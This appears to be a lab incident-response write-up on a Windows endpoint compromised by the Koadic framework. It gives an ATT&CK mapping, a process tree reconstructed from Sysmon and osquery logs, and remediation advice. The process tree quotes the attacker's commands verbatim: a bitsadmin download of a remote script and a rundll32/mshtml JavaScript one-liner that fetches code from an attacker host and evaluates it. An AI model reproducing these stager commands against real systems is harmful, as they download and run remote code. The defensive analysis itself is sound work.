

Execution Summary

- A compromised Windows endpoint with sysmon and Osquery log was investigated. By analysing those logs, malicious script was downloaded and excuted only at victim machine. The script was executed by wscript, rundll32, and mshtml. The behaviors match the pattern of Koadic post-exploitation framework. Persistence stages include 3 methods, involving creating new user accout, modifying registry, and scheduled task. This investigation just include the initial access, execution, discover, credencial access, persistence. My recommendation activities are eliminate the new account, restore registry, delete unauthorized scheduled tasks. For long-term remedation suggestion, restrict the download file type with firewall rules, intraduce IDS or IPS, set strict access-allowed list and build VPN, deploy web filtering, update and patch system ussully,.

Scenario

- We got you the sysmon logs from the compromised Windows endpoint. But it seems like not all the events are captured in the Sysmon. Fortunately, the osqueryd service was running in the endpoint and results were stored. Answer the below questions by analyzing the osquery results and provided sysmon logs.
 - Note: osquery.conf is configured using <https://github.com/teoseller/osquery-attck>
 - For the situation of kibana is not ready: `sudo systemctl start elasticsearch.service`
 - What we get** : Sysmon log and Osquery log in Elastic

MitreAttack Mapping

Technique ID	Name	Evidence
T1105	Ingress Tool Transfer	malicious script downloaded
T1204	User Execution	malicious script executed
T1059	Command and scripting Interpreter	malicous cmd command set executed
T1071.001	Application layer protocol: web protpcols	GET request included in the cmd command
T1016	System network configuration Discovery	Route print
T1136	Create Account	user created
T1112	Modify Redistry	registry changed
T1053	Scheduled Task/Job	scheduled task

Process tree

Time	Process name	Commandline	PID	PPID	User
Jun 24, 2021 @ 17:20:02	C:\Windows\System32\bitsadmin.exe	bitsadmin /transfer gCz4p /download /priority high http://192.168.1.14:9995/gCz4p.wsf C:\Users\IEUser\AppData\Local\Temp\gCz4p.wsf	6012	5812	IMSEdgeWIN10\IEUser
Jun 24, 2021 @ 17:28:59	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\Users\IEUser\AppData\Local\Temp\gCz4p.wsf"	3080	5812	MSEdgeWIN10\IEUser
Jun 24, 2021 @ 17:28:59	C:\Windows\System32\cmd.exe	"C:\Windows\System32\cmd.exe" /q /c chcp 437 & whoami /all 1> C:\Users\IEUser\AppData\Local\Temp\8706b822-62b0-0ef5-da18-e63939bc3a1b.txt 2>&11,300	1300	3080	MSEdgeWIN10\IEUser
Jun 24, 2021 @ 17:28:59	C:\Windows\System32\whoami.exe	whoami /all	3840	1300	MSEdgeWIN10\IEUser
Jun 24, 2021 @ 17:31:39	C:\Windows\System32\cmd.exe	"C:\Windows\System32\cmd.exe" /q /c chcp 437 & cd /d C:\Windows\System32 & rundll32.exe javascript:"..\mshtml;RunHTMLApplication";x=new%%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET";"http://192.168.1.14:9997/q8sso";false);x.send();eval(	3632	3840	MSEdgeWIN10\IEUser

		<pre>x.responseText);window.close(); 1> C:\Users\IEUse r\AppData\Loc al\Temp\ad6f92 68-48c5-90cd- 47cd- de79acff34ab.t xt 2>&1</pre>		
--	--	--	--	--

Remediation Recommendation

- Immediate actions recommendation
 - eliminate the new account and rotate the credential
 - restore registry
 - delete the malicious script
 - delete unauthorized scheduled tasks
 - restrict the connection with attacker's ip address
- Long-term Remediation Suggestion
 - restrict the download file type with firewall rules
 - intraduce IDS or IPS
 - set strict access-allowed list and VPN
 - deploy web filtering
 - update and patch system ususlly
 - anti-virus agent

Root Cause

- The initial part of the attack chain is that cmd prompt executed a commandline to download malicious script to victim host. If the root sause need to e more deeper, more research resource are needed.

Investigation Screenshot